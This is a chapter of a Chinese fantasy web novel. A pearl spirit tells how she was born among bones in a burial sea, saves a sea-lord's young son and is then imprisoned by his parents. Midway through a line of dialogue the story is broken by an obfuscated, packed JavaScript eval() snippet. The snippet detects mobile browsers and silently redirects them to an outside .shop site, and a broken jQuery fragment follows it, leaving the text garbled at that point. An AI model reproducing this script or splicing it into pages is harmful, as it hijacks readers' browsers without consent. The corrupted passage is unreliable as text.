我叫卿卿。这是阿绫给我取得名字。
我最开始诞生在一堆白骨之中,那是一片很深很深的海域,漆黑如墨的四周一片死寂,我有些好奇地观察四周,没有看见其他会动的东西。
那时候我还小,只是一颗小小的珠子,想要离开这片地方,就只能费力地滚动我小小的身子,“咕噜咕噜”地向前。
可是没滚几步,我就碰上了另一堆白骨,我有些兴奋和期待:不知道,这里会不会有能和我一样的珠子?
我试探地碰了碰它,可是它没有动,依旧在原地默默的待着。
我有些迷茫,不知道为什么。
但是还是努力地继续向前,直到我遇到了一堆又一堆的白骨,它们都不理我,我才隐隐约约意识到:我可能是不一样的。
于是我开始期盼地寻找和我一样的珠子。
后来的我才明白,原来我是整片海域千百年来诞生的唯一一颗卿生珠。
我永远也不可能找到我的伙伴。
后来,我一直滚啊滚,再也不想什么能否遇见什么,只是一路朝前,最后终于遇见了和我一样会动的东西。
它们发出奇怪的声音,我一个字都听不懂。
我后来知道,那是鱼类。
当时的我很满意地停下来,在那里看着它们游来游去,一待,就是很久很久。
不知道哪一天,我突然听懂了它们的话,确切的说,那不是话。
那是它们的哭声。
我所在的海域,是海域内所有生灵最终的归所,这里是葬域,里面是无数逝去后的白骨。
而那些白骨,却是我的家。
能听懂鱼类们的话后,我开始向往起它们口中最常说的琉璃宫,它们说域主夫人数百年前死了一个最疼爱的孩子,为此整个琉璃宫为她悼思了整整十年。
如今域主夫人终于放下心结,又做回母亲。
我觉得她很可怜,只是我仍不大懂。
母亲,是什么?
这般久的岁月里我学会了化形,我幻化成一只鱼,跟着它们朝所谓琉璃宫而去。
在那里,我溜进琉璃宫,见到了传言中的域主夫人。
她海蓝色的长发及腰,面容雍贵眼神温柔地看向怀中的孩子,那是一个小男孩,正闭眼熟睡,光洁白皙的脸颊惹人怜爱。
这就是母亲吗。我看着殿中的两人,似乎隐隐懂了却又似乎什么也没懂。
看着这幅场景,我忽而脑海中闪过些画面,时而是个小女孩正欢快的在琉璃宫中摆尾游来游去的背影,时而是看不清楚面容的女人温柔地笑。
我想要看清那些人的面容,却抓不住那些片段,只能任由它们碎成细沙流逝。
我羡艳地躲在角落远远看着那个域主夫人,不敢靠前,却也不舍离去。
就这样看着那个小男孩一点点长大,从襁褓一跃成为一个小小少年,域主夫人对他的笑也越来越少,但我可以发现,她依旧一直注视着小少年,眼中是无人发现的温和。
小少年也由从前活泼开朗的小人渐渐变得寡言沉默,看着他小小的脸上像域主依样画葫芦的正经,我觉得好笑之余有些心疼。
明明只是个小孩子。
就这样,我像个窃贼一般看着他人的生活。临渊羡鱼,约莫说的便是我罢。
可是有一天,小少年偷摸着出了宫,我有些无奈:
宫外尽是想要进去的,可宫里的他却想出去。
果然每人眼中的快乐不尽相同。
我只是一只小小的珠子,既没有办法阻拦他,也没有办法告知他人。于是,我只得偷摸着跳上小皇子的身上,一同出宫去。
在路上,我看着小少年原本严肃正经的脸回到从前的放松肆意,他一路玩闹,结识了许多朋友。他笑,我便也不由自主地跟着他笑,他结识朋友,我也不由得为他欢喜。
就这样一路向西,小少年终于意识到自己出逃的有些时日了,便告别朋友,又沿着来时的路回去。
他在回去地路上遇上了一个婆婆,那婆婆见了他很温和宽厚地询问他是否迷了路,小少年懂事地摇摇头,却没想到那个婆婆忽而毒昏了他。
我看着那个婆婆面上诡谲的笑容,她带上他来到一处幽深的峡谷。
见到峡谷,我不禁一愣,有些哭笑不得:兜兜转转,回到了我的归处——葬域。
传闻都是说进了葬域的妖无一生还,想必这个婆婆便是存了这种心思让域主夫妇活不见妖,死不见尸。
唉。
我仍是不懂他们生灵的仇恨,明明是上一代的仇怨,为何要牵连这个无辜的小少年?
我看着那个婆婆将我们扔进峡谷,那个婆婆见小少年沉下的身形,苍老满是皱纹的面容上有了放松,那不是快意,只是一种被重压负重突然轻松的释然。
她下不去手直接杀掉小皇子,但是也不甘放他离去。于是她选择了一种折中的方式,让他自生自灭。
这样也好。我松了口气,如若她真的下手,那我反而不知该该如何是好。
我到了谷底,正打算唤醒小少年,却又愣住了。我没有手脚,只是一枚珠子,做不了任何事。
我看着小少年因难受而蹙起的眉,发现似乎传言非虚。我在葬域来去自如仅仅因为我是一颗珠子。而所有的妖类,确是无法存活的。
我不能放任他死。我慌了,可是不知该如何救他。
看着小少年青白的面色,毫无血色的唇无意识地吐出几个音:“母亲。”
我怔住了,究竟母亲是什么?我竭力想要挽救他,想要知道,究竟母亲是什么。
我恨自己没有手脚,不能带他回家。
不知是否是我的祷告起了作用,我终于可以化作人形。我一把抱起小少年,往琉璃宫赶,可是看着小少年愈发没有生机的身体,我心急如焚,害怕他撑不住回家。
路上我遇到一个神秘的婆婆,她黑纱下是看不清的面容。她只扫了一眼我怀中的小少年,便了然地注视着我,道:“我是药商。卿生珠,你可是想要救他?”
卿生珠?我来不及多想,急忙颔首应下。
当时我只有一个念头:小少年不能死。
我没有犹豫,果断道:“是,你救他。”
“好。”那婆婆笑,笑中有着对万物的淡漠。
后来婆婆救了小少年后便离开了。
小少年被救醒,他第一次见我,面上强装镇定,一双透彻的眸子却满是警惕和慌乱。
我有些许忍俊不禁:“我不会伤害你的。”
他这才记起什么,犹豫道:“是你救了我?”
“是。”我颔首。
“……谢谢你。”小少年闻言戒备消了些,记起自己出宫的事有些慌乱,“我昏迷了多久?”
我无奈道:“十余天罢,我们一路上其实也快赶到了。”
我没说谎,我为了小少年早日得到治疗,一路紧赶慢赶,没想到途中遇到那个婆婆。
小少年这才有些放心地颔首,问道:“你叫什么名字?”
我刚要回他,却被一股力道击昏,彻底失去意识前,我听到一个恭谨的声音:“皇子殿下,属下终于找到你了。”
待我再恢复意识后,我没有急着睁眼,而是昏昏沉沉地听着外面的声音。
“域主,经臣探查,此女乃传闻中可破幻境,通各界语言的卿生珠无疑。”
“将她严加看管,我自有决议。”
“父君,母亲,她救了我。”
“乖,慕和,不要操心旁的事。”
……
卿生珠?是指我么?
原来,小少年叫慕和啊。
待我彻底清醒,发现自己身处一处透明结界中,我试着伸手轻触了触,立即感受到一股刺痛感穿透手指,被逼的松了手。
“不要白费力气了。”一个小童盘腿倚着身旁的桌腿,懒洋洋地开口。
“待会域主和域主夫人便来了,你就安心等着罢。”
闻言,我的心中一紧,不知是为自己未来多舛命运还是那个小童口中出现的“域主夫人”。
域主夫人同域主进殿后,朝四周挥一挥手,示意殿内侍者散去,那名小童在离开前最后看了我一眼,而后也行礼快速离去了。
我跪坐在原地,没有照着侍者那般起身行礼,只是低垂着头看着地面发愣。
按那时昏昏沉沉听的那些人所说,我约莫是再见不到外围的风景了。卿生珠?那是,我的名字吗?
一股酸涩的感觉涌上眼眶,我咬着唇压下委屈,我不过是救了一个小少年,我做错了吗。
域主见我这般有些不悦,域主冷然道:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252311|139664||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“卿生珠,你是从何处而来?”
我不想搭理他,敛眉看向他身后,那是殿门后的一片地面,不时掠过鱼影涌动波光粼粼。
真好看啊。波光倒映在我的眼眸上,我浅浅的笑起来。
“你……无礼至极。”域主见我没有吭声,厌恶地扫视我,“不要逼我用刑。”
域主夫人温和地摇头,安抚丈夫的情绪,半蹲在我面前,注意到我的视线:“你想出去吗?”
我的眼神变了一瞬,目光放到她身上:她还是那般温柔,我想起那些日子她对小少年慈爱的举动,不觉出声:“我可以吗?”
“可以的,”域主夫人不顾域主不赞同的目光,微笑着,“但是你能不能告诉我,你来自哪里呢?”
我迟疑地回想,喃喃自语:“我好像……是一个很深很黑的地方,他们叫它……葬域?”
“什么?”域主及域主夫人的神色一瞬变了,她不敢置信道,而后细细端祥了一番我的面容,神色复杂。
当时我没有理解他们的神色,于是继续说:“我醒过来的地方,有很大一片泛着荧光的鱼骨。”
“够了。”域主见域主夫人神色愈发不对,低声喝止我。
我不解望向他,他却好似避讳什么移开了视线。
他们二人待了片刻便离开了,小童又回来坐回我的前方。
不是,说好可以出去吗?我咬唇,觉着有些疑惑。
小童惬意地靠回桌脚,有一搭没一搭地问起我来:“你是什么人?这么大阵架?”
我不想回他,一会想着小少年,一会又想着域主夫人。
小童似是觉着没劲,忽而恶劣的笑了一下:“我其实知道,你是卿生珠。”
我听闻,有些微诧:这种事,可不是想知道便能知道的。
“那你还挺厉害的。”我犹豫了一下,觉着我可能可以从他口中知道什么。
有些事,对域主他们可能是秘密,但对小少年来说可能只是杂谈罢了。
“那当然。”他有些得意,不过很快谨慎戒备起来,“有些事,我是绝对不会和你说的。”
“我只是想知道,域主夫人是个什么样的人?”
小童不假思索道:“当然是个好人啦。”
“可是,我看她不太开心的样子。”
“啊?没有吧……”小童听闻,愣了一下,又道,“那可能是因为我们的小殿下。”
这下,换做我怔住了:“慕和小殿下是很懂事的孩子。”
小童摇头:“不是慕和殿下,我也是听闻,是曾经有一个公主殿下,她有次出宫玩闹,不慎误入葬域,就再也没有回来。”
我闻言,像是突然想通了什么。
是那个婆婆。原来她不止对小少年出过手,还害过域主夫人的小公主。
葬域?我忽而脑海闪过域主及域主夫人的欲言又止,他们听及葬域的神态,以及,
她刚刚看我的那一眼。
我有了一个可怕的想法,但是我不敢承认,只是心中升起一丝微弱的希冀。
他们知道了,自己能不能,有一个家?
母亲。那是温和的域主夫人抱着小少年,小少年口中的称呼。
“喂?你怎么不理我了?”小童的呼声把我拉回现实,我勉强笑了笑,轻声道:“我也给你讲个故事吧。”
……
“你觉得,故事里的那个人该怎么做?”
小童听完托腮漫不经心开口:“跑呗,既然留在那些人身边那么痛苦纠结,为什么不跑呢。”
我温和地笑起来,仰头看着大殿巍峨不可及的穹顶:“可是,她不想跑。她愿意为他们做出自己能做的事。”
“即使自己会很难过很难过?”小童不解。
“是,即使会很难过很难过。”我找寻到了心底的答案,忽然有些释然。
“我叫缙谪,以后等我当了大将军,我就放你出来。”小童沉默一刻,忽然转过身来正经道。
我看着眼前的小童忍俊不禁:“好,我等你。”
我没有告诉他,哪怕当了大将军,也不可能放我出来的。
而后,我看着熟系又陌生的域主及域主夫人,他们亲自化形送我上了云霄,在那里有一座高耸的云宫,最后看了我一眼,便由着我被云气凝结的小侍者带入了内殿。